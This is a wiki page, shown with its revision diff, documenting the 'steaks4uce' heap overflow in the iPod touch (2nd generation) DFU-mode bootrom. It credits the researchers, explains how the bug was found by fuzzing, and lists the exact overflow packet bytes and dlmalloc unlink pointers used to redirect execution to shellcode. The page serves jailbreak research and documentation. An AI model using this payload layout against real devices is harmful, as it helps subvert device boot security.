|
The iPhone Wiki is no longer updated. Visit this article on The Apple Wiki for current information. |
Difference between revisions of "Usb control msg(0xA1, 1) Exploit"
m (No need for RC#.) |
m |
||
| (9 intermediate revisions by 5 users not shown) | |||
| Line 1: | Line 1: | ||
{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}} |
{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}} |
||
| − | A heap overflow exists in the [[ |
+ | A heap overflow exists in the [[N72AP|iPod touch (2nd generation)]] (both [[Bootrom 240.4|old]] and [[Bootrom 240.5.1|new]] [[bootrom]]s) [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1. This exploit is also referred to as the "steaks4uce" exploit. |
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one. |
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one. |
||
| + | |||
| + | According to [[User:posixninja|posixninja]], this is also not exploitable on other older devices.[https://twitter.com/p0sixninja/status/261614700888993792] |
||
== Credit (Alphabetical) == |
== Credit (Alphabetical) == |
||
* '''vulnerability''': [[User:pod2g|pod2g]] |
* '''vulnerability''': [[User:pod2g|pod2g]] |
||
* '''exploitation''': [[User:pod2g|pod2g]] |
* '''exploitation''': [[User:pod2g|pod2g]] |
||
| − | * '''payload''': [ |
+ | * '''payload''': [[Greenpois0n (jailbreak)|Greenpois0n]]: both the old [[Bootrom 240.4]] (In conjuction with the [[0x24000 Segment Overflow]]) and [[Bootrom 240.5.1]] (In conjuction with a kernel [[:Category:Exploits|exploit]], such as [[BPF_STX Kernel Write Exploit]] or [[HFS Legacy Volume Name Stack Buffer Overflow]]) |
== Vulnerability == |
== Vulnerability == |
||
| − | By fuzzing all possible USB control messages of the [[ |
+ | By fuzzing all possible USB control messages of the [[N72AP|iPod touch (2nd generation)]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot. |
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow. |
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow. |
||
Latest revision as of 09:29, 26 March 2017
A heap overflow exists in the iPod touch (2nd generation) (both old and new bootroms) DFU Mode when sending a USB control message of request type 0xA1, request 0x1. This exploit is also referred to as the "steaks4uce" exploit.
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). posixninja analyzed and explained this one.
According to posixninja, this is also not exploitable on other older devices.[1]
Credit (Alphabetical)
- vulnerability: pod2g
- exploitation: pod2g
- payload: Greenpois0n: both the old Bootrom 240.4 (In conjuction with the 0x24000 Segment Overflow) and Bootrom 240.5.1 (In conjuction with a kernel exploit, such as BPF_STX Kernel Write Exploit or HFS Legacy Volume Name Stack Buffer Overflow)
Vulnerability
By fuzzing all possible USB control messages of the iPod touch (2nd generation)'s DFU Mode, it appeared that one special usb control message made it reboot. The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.
Exploitation
In order to exploit it, send this special USB packet (using 0x21, 1) :
[ 0x100 bytes of nulls ] /* free'd buffer dlmalloc header: */ 0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk 0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk /* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */ 0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction 0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer 0xff, 0xff, 0xff, 0xff, // 0x10: (0x08) 0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_) 0x00, 0x01, 0x00, 0x00, // 0x18: (0x10) 0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14) 0x00, 0x00, 0x00, 0x00, // 0x20: (0x18) 0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c) /* attack dlmalloc header: */ 0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk 0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-) 0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start() 0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode shall jump to FD[0x10] to skip the junk.
